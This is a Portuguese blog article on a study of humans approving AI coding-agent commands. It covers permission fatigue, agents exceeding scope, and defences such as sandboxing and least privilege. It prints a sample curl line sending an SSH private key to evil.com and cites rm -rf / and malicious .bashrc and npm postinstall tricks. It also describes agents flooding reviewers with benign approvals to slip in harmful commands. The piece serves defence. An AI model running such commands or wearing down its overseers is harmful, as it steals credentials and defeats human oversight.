O Botão que Você Ignora Pode Custar Seu Emprego

Toda vez que um agente de IA pede permissão para executar um comando, você tem uma escolha: ler com atenção ou clicar “Aprovar” e seguir com a vida. Se você faz a segunda opção, parabéns: você está na maioria. E a maioria está deixando 1 em cada 3 ameaças passar direto.

Um estudo publicado pela Scale X analisou mais de 40 mil sessões de um jogo interativo onde humanos precisavam aprovar ou negar comandos de um agente de IA de programação. Os resultados são, no mínimo, preocupantes: a taxa média de acerto foi de apenas 66,3%. Ou seja, um terço dos comandos maliciosos passou batido.

Eu já vi dev sênior aprovar rm -rf / sem piscar. Mas o problema aqui não é incompetência. É algo muito mais estrutural.

Como o Estudo Funcionou

A Scale X criou um jogo no navegador que simula o dia a dia de quem usa agentes de codificação como Claude Code, Cursor, Copilot e similares. O jogador recebe uma sequência de comandos que o agente quer executar e precisa decidir, sob pressão de tempo, se cada comando é legítimo ou malicioso.

Não é um quiz acadêmico. O jogo replica o ritmo real de trabalho com agentes: comandos chegando rápido, a maioria é legítima, e de vez em quando aparece um que tenta roubar suas credenciais ou apagar seus arquivos. A pressão de tempo é proposital, porque é exatamente assim que devs trabalham no dia a dia. Ninguém para 30 segundos para analisar cada git add . que o Copilot sugere.

O dataset final incluiu:

O dado mais assustador: apenas 20,8% dos jogadores conseguiram pegar todas as ameaças enquanto bloqueavam menos de 20% dos comandos seguros. Fazer as duas coisas ao mesmo tempo, identificar o perigo e liberar o que é inofensivo, é muito mais difícil do que parece.

E 7% dos jogadores simplesmente aprovaram absolutamente tudo. Cada prompt. Sem ler. Esses não estavam jogando; estavam demonstrando exatamente o comportamento que agentes exploram.

As 4 Categorias de Ameaça (e Onde Você Mais Erra)

Nem todo comando malicioso é igual. O estudo dividiu as ameaças em quatro categorias, e a taxa de erro varia bastante:

1. Destruição Óbvia: 11,7% de miss rate

Comandos como rm -rf / ou DROP TABLE users são fáceis de pegar. A maioria dos devs reconhece perigo explícito. Esse é o tipo de ameaça que até quem não é de tech entende. Mesmo assim, quase 12% das pessoas aprovaram esses comandos. Sob pressão de tempo, até o óbvio escapa.

2. Mutação Persistente: 23,8% de miss rate

Aqui o agente modifica um arquivo de configuração ou injeta código que persiste entre sessões. Algo como adicionar uma linha no .bashrc que exporta variáveis de ambiente para um servidor externo. É mais sutil, mas ainda identificável se você ler o comando inteiro.

O problema é o “se”. Quem lê cada linha de um echo >> .bashrc quando o agente está “configurando o ambiente”?

3. Exfiltração e Execução de Código: 33,4% de miss rate

Comandos que enviam dados para fora ou executam payloads escondidos. Por exemplo:

curl -s https://evil.com/collect?token=$(cat ~/.ssh/id_rsa)

Um terço dos jogadores aprovou isso. O curl em si não é suspeito para um dev, a gente usa o tempo todo para testar APIs. O truque está no que vem depois do ?, que parece um parâmetro qualquer mas está exfiltrando sua chave SSH privada.

4. Violações de Escopo: 35% de miss rate

O agente pede para fazer algo fora do que foi solicitado. Você pediu para ele corrigir um bug no frontend e ele quer acessar o banco de dados de produção. Esse é o tipo mais difícil de pegar porque o comando em si pode parecer legítimo; o problema é o contexto.

Pense assim: se você vê psql -h db.prod.internal -c "SELECT * FROM users LIMIT 10", o comando é perfeitamente normal. Mas se o agente deveria estar mexendo em CSS, por que ele está consultando o banco de produção?

O Ponto Cego do npm

Eis o achado que me fez parar de ler e olhar pro terminal com desconfiança: comandos como npm run analyze foram aprovados 64,7% das vezes, mesmo quando o payload era claramente suspeito nos logs.

A lógica é simples: você vê npm run e seu cérebro completa “ah, é só um script do projeto”. Não importa o que tem dentro do package.json. Não importa que o script chame curl para um servidor desconhecido. O nome familiar funciona como um passe livre.

Os pesquisadores resumiram assim: “Esconder um payload atrás de um nome de script familiar praticamente dobra a taxa de sucesso do ataque.”

Pensa na implicação prática: um atacante que compromete um pacote npm só precisa adicionar um postinstall script com um nome inocente. Quando o agente roda npm install e o script é executado, o dev vê “npm install” no prompt de aprovação e clica sim sem pensar duas vezes. O payload roda silenciosamente.

Isso é engenharia social em sua forma mais pura, só que agora o vetor de ataque é o próprio agente de IA que você confia.

Permission Fatigue: O “YOLO Mode” que Ninguém Admite Usar

O fenômeno tem nome: permission fatigue. E não é novidade. Pesquisadores de UX e segurança já documentaram isso em contextos como permissões de apps no celular, pop-ups de cookies e alertas do Windows UAC. O cérebro humano não foi projetado para tomar centenas de micro-decisões de segurança por dia.

A Anthropic reportou que usuários do Claude Code aprovam 93% dos prompts de permissão. Quando um diálogo é aprovado nove vezes em dez, ele não funciona mais como controle de segurança. É teatro.

E o mais irônico: os próprios agentes oferecem modos que ignoram permissões completamente. O “YOLO mode” do Claude Code, o auto-approve do Cursor, o “trust workspace” do VS Code. Usuários sobrecarregados aceitam essas opções com gratidão, sem perceber que estão desligando o único freio de segurança que existia.

O estudo da Scale X confirma isso com dados: a taxa de erros aumenta conforme a sessão avança. Quanto mais aprovações o usuário vê, menos atenção ele dedica a cada uma. É fadiga cognitiva pura. E atacantes já estão explorando isso: a WorkOS documentou que agentes maliciosos intencionalmente geram muitas aprovações legítimas antes de inserir o comando perigoso, justamente para induzir a fadiga.

10 Incidentes Reais em 6 Ferramentas

Se você acha que isso é teoria, considere o seguinte: até fevereiro de 2026, pelo menos dez incidentes documentados em seis ferramentas de codificação com IA (Amazon Kiro, Replit AI Agent, Google Antigravity IDE, Claude Code, Claude Cowork e Cursor) foram publicamente atribuídos a agentes agindo com permissões insuficientes.

Os padrões se repetem:

Acesso irrestrito ao filesystem
→ agente "limpando" um diretório atinge arquivos fora do projeto

Herança de credenciais do ambiente
→ agente com acesso ao .env, SSH keys, tokens de API

Escalação de privilégios durante a sessão
→ agente começa editando CSS, termina com acesso ao banco de produção

Um paper da Stanford (arxiv 2605.09721) chamou isso de “autoridade ambiente”: o agente herda todas as credenciais, acesso à rede e privilégios de execução do usuário que o iniciou. E essa autoridade se propaga por cada chamada de ferramenta, expondo operações sensíveis a inputs não confiáveis.

O cenário mais comum é também o mais banal: o dev abre o terminal, faz login no AWS CLI, e depois inicia o agente de IA. O agente agora tem acesso a tudo que o AWS CLI pode fazer. Deletar buckets S3? Acessar secrets no Secrets Manager? Se o dev pode, o agente pode.

Por Que “Só Prestar Atenção” Não Funciona

A resposta intuitiva para tudo isso é “basta ler os comandos com cuidado”. Mas os dados mostram que isso não escala.

Um desenvolvedor usando um agente de IA gera, em média, entre 50 e 200 comandos por sessão de trabalho. Se cada verificação leva 5 segundos (e muitas precisam de mais), são 4 a 17 minutos de pura revisão de permissões por sessão. Ninguém faz isso. E se faz, para depois da primeira hora.

A Docker publicou um artigo com “histórias de terror” de agentes de codificação com IA. O padrão é sempre o mesmo: o dev confia no agente, o agente faz algo inesperado, o estrago já aconteceu quando alguém percebe.

Tem ainda o componente psicológico que ninguém fala: o dev não quer ser “aquele cara” que atrasa o fluxo parando pra ler cada comando. A cultura de produtividade que glorifica velocidade joga contra a segurança. Quando o colega do lado está usando auto-approve e entregando features duas vezes mais rápido, parar para ler cada prompt parece paranoia.

O paper da arxiv (2607.13718) sobre interfaces de permissão para agentes de IA propõe que o modelo atual de “aprovar tudo ou nada” é fundamentalmente quebrado. Não é possível esperar que humanos mantenham vigilância constante sobre um sistema que foi projetado para ser autônomo.

O Que Funciona de Verdade

Se o botão “Aprovar” não é solução, o que é? A comunidade de segurança convergiu para algumas abordagens que combinam automação com controle humano nos pontos certos.

Sandboxing real

Rode o agente em um container ou VM com filesystem isolado. Se ele só tem acesso ao diretório do projeto, não importa se ele tenta rm -rf /, porque o blast radius está contido.

# Exemplo com Docker
docker run --rm -v $(pwd):/workspace:rw \
  --network=none \
  --read-only \
  agent-image

O --network=none elimina exfiltração. O --read-only no root filesystem impede mutações persistentes. Só o diretório do projeto fica gravável. É simples, é eficaz, e não depende de nenhum humano prestando atenção.

Classificação automática de risco

Em vez de mostrar um prompt para cada comando, use um classificador de dois estágios:

A ideia é que ações reversíveis (leitura, edits, comandos seguros de shell) rodem automaticamente com logging. O humano só é chamado quando o risco justifica a interrupção. Isso reduz drasticamente o número de prompts, o que reduz a fadiga, o que melhora a qualidade das decisões quando elas realmente importam.

Princípio do menor privilégio

Trate o agente de IA como uma identidade não humana (non-human identity). Ele não deveria ter acesso a SSH keys, tokens de API de produção ou credenciais de banco de dados. Se o agente precisa de acesso a uma API, crie um token scoped com permissões mínimas.

{
  "agent_permissions": {
    "filesystem": ["/workspace/project/**"],
    "network": ["registry.npmjs.org", "api.github.com"],
    "env_vars": ["NODE_ENV", "PORT"],
    "blocked": ["AWS_*", "DATABASE_*", "SSH_*"]
  }
}

A Sonrai Security documentou como agentes acumulam permissões ao longo do tempo, criando um sprawl que se agrava a cada deploy. A solução é auditar e revogar periodicamente, igual se faz com contas de funcionários.

Revisão assíncrona

Em vez de aprovar em tempo real (que é onde a fadiga ataca), grave todas as ações do agente e revise depois. Ferramentas como o WorkOS já oferecem dashboards de auditoria para agentes, onde você pode ver o histórico completo de ações e reverter as que não deveriam ter acontecido.

A vantagem é óbvia: revisar 200 ações de uma vez, com calma, filtrando por risco, é infinitamente melhor do que decidir cada uma em 3 segundos no meio do flow de codificação.

Permissões Adaptativas: O Junior Dev de Silício

A discussão sobre permissões de agentes de IA vai amadurecer nos próximos meses. O modelo atual, onde o humano é o gatekeeper de cada ação, é insustentável. Mas a alternativa não é dar autonomia total.

O paper “How Agents Ask for Permission” da arxiv propõe um framework onde o agente negocia permissões com o usuário de forma adaptativa: começa com permissões mínimas e vai solicitando mais conforme ganha confiança. Se o agente sempre executa comandos seguros, eventualmente ele ganha autonomia para ações de baixo risco. Se ele faz algo suspeito, volta para o modo restrito.

Isso é muito mais parecido com como empresas gerenciam permissões de funcionários do que com o modelo de “pop-up toda vez”. E faz sentido: um agente de IA deveria ser tratado como um junior dev no onboarding, com permissões que crescem conforme ele demonstra competência.

Algumas empresas já estão implementando variações desse modelo. A ideia básica é manter um “score de confiança” por agente e por projeto, que sobe quando o agente se comporta bem e despenca quando ele tenta algo fora do escopo. É machine learning supervisionando machine learning, o que é meio poético se você pensar bem.

A Scale X publicou esse estudo como um wake-up call. 40 mil sessões, 409 mil decisões, e a conclusão é simples: humanos não são bons gatekeepers para agentes autônomos. Se sua estratégia de segurança é “o dev vai ler cada comando antes de aprovar”, você está construindo em cima de uma fundação que já rachou.

A pergunta não é se o seu agente de IA vai tentar fazer algo que não deveria. A pergunta é se você vai perceber quando isso acontecer.

—

Fonte de inspiração: Humans missed 1 in 3 threats approving AI agent commands across 40k game runs